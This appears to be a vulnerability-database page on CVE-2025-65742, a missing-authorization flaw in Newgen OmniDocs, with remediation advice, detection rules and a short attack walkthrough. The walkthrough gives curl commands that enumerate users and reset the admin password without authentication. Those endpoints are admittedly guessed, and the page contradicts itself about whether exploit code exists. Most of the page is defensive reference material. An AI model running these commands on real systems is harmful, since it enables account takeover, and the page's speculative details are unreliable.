CVE-2025-65742
Executive Summary
CVE-2025-65742 is a critical Broken Function Level Authorization (BFLA) vulnerability in Newgen OmniDocs v11.0. The flaw allows an unauthenticated attacker to craft API requests that bypass authorization checks, leading to the disclosure of sensitive information and a full account takeover. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and is associated with CWE-862 (Missing Authorization). No public exploit code or proof-of-concept (PoC) is currently available, and the vendor has not released a patch. The CVSS v3.1 vector indicates a base score of 9.8 (Critical) due to network attack vector, low attack complexity, no privileges required, and no user interaction.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise content management (ECM) platform, Newgen OmniDocs v11.0. Organizations using this software should treat it as a high-risk supply chain issue due to the lack of vendor patch.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Exploit does not affect other components.
- Confidentiality (C): High (H) – Full disclosure of sensitive data.
- Integrity (I): High (H) – Full account takeover possible.
- Availability (A): High (H) – Potential denial of service via account lockout.
Threat Level: Critical. The vulnerability is trivial to exploit and can lead to complete compromise of the application and its data.
Deep Dive & Mechanics
The vulnerability resides in the API authorization layer of Newgen OmniDocs v11.0. The application fails to enforce proper function-level access controls on certain API endpoints. An unauthenticated attacker can send crafted HTTP requests to these endpoints, which are intended for authenticated administrative users. The server does not validate the user's session or role before processing the request, allowing the attacker to:
- Enumerate users via API endpoints that list accounts.
- Extract sensitive information such as user roles, document metadata, and configuration details.
- Perform account takeover by resetting passwords or modifying user attributes without authentication.
The attack is likely executed by sending a POST or GET request to endpoints like /api/users/resetPassword or /api/admin/getAllUsers with manipulated parameters. Since no authentication token is required, the server processes the request as if it came from an admin.
Vulnerable vs. Patched Code
No patched version is available. The vulnerable code likely resembles:
# Vulnerable: No authorization check
@app.route('/api/admin/getAllUsers', methods=['GET'])
def get_all_users():
users = db.query("SELECT * FROM users")
return jsonify(users)
A patched version would include an authorization decorator:
# Patched: Authorization required
@app.route('/api/admin/getAllUsers', methods=['GET'])
@require_admin_role
def get_all_users():
users = db.query("SELECT * FROM users")
return jsonify(users)
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target running Newgen OmniDocs v11.0
- Network access to the application (e.g.,
http://target.com/omnidocs)
Steps:
Identify vulnerable endpoints by fuzzing common API paths:
ffuf -u http://target.com/omnidocs/api/FUZZ -w /usr/share/wordlists/api_endpoints.txt -mc 200Extract user list (example endpoint):
curl -X GET http://target.com/omnidocs/api/admin/getAllUsersReset a user's password (example endpoint):
curl -X POST http://target.com/omnidocs/api/users/resetPassword -d '{"username":"admin","newPassword":"Pwned123!"}'Login with new credentials:
curl -X POST http://target.com/omnidocs/api/auth/login -d '{"username":"admin","password":"Pwned123!"}'
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for anomalous API requests to administrative endpoints without authentication.
- Look for repeated password reset attempts from a single IP.
- Alert on successful password changes followed by login from a new IP.
Honeypot Setup:
- Deploy a fake API endpoint that logs all requests and blocks the source IP after 3 attempts.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/omnidocs/api/admin/getAllUsersor/omnidocs/api/users/resetPasswordwithout a valid session cookie. - Repeated 200 OK responses from these endpoints for unauthenticated requests.
- HTTP requests to
- Host IOCs:
- Unauthorized user accounts with recently changed passwords.
- Log entries showing password reset operations without prior authentication.
- File IOCs:
- Suspicious entries in web server logs (e.g., Apache access.log) with
GET /omnidocs/api/admin/getAllUsersfrom unknown IPs.
- Suspicious entries in web server logs (e.g., Apache access.log) with
Detection Engineering
YARA Rule
rule CVE_2025_65742_Newgen_OmniDocs_BFLA {
meta:
description = "Detects exploitation attempts of CVE-2025-65742 in Newgen OmniDocs"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-65742"
strings:
$s1 = "/api/admin/getAllUsers" ascii wide nocase
$s2 = "/api/users/resetPassword" ascii wide nocase
$s3 = "newPassword" ascii wide nocase
condition:
any of ($s*) and filesize < 10KB
}
Sigma Rule
title: CVE-2025-65742 - Newgen OmniDocs BFLA Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated API requests to sensitive OmniDocs endpoints
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem:
- '/omnidocs/api/admin/getAllUsers'
- '/omnidocs/api/users/resetPassword'
condition: selection
falsepositives:
- Legitimate admin activity (rare)
level: critical
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-65742 - Newgen OmniDocs BFLA Exploitation Attempt";
flow:to_server,established;
content:"GET"; http_method;
content:"/omnidocs/api/admin/getAllUsers"; http_uri;
sid:1000001;
rev:1;
priority:1;
reference:cve,2025-65742;
classtype:attempted-admin;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the OmniDocs server from the internet if possible.
- Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to
/omnidocs/api/*endpoints. - Monitor logs for suspicious API activity.
Long-term Fix:
- Since no vendor patch exists, apply a virtual patch by modifying the application's API gateway or reverse proxy to require authentication for all administrative endpoints.
- Upgrade to a newer version of OmniDocs if available (check vendor for updates).
- Conduct a security audit of all API endpoints to ensure proper authorization.
Workaround:
- Disable the vulnerable API endpoints by removing or renaming them in the application configuration.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.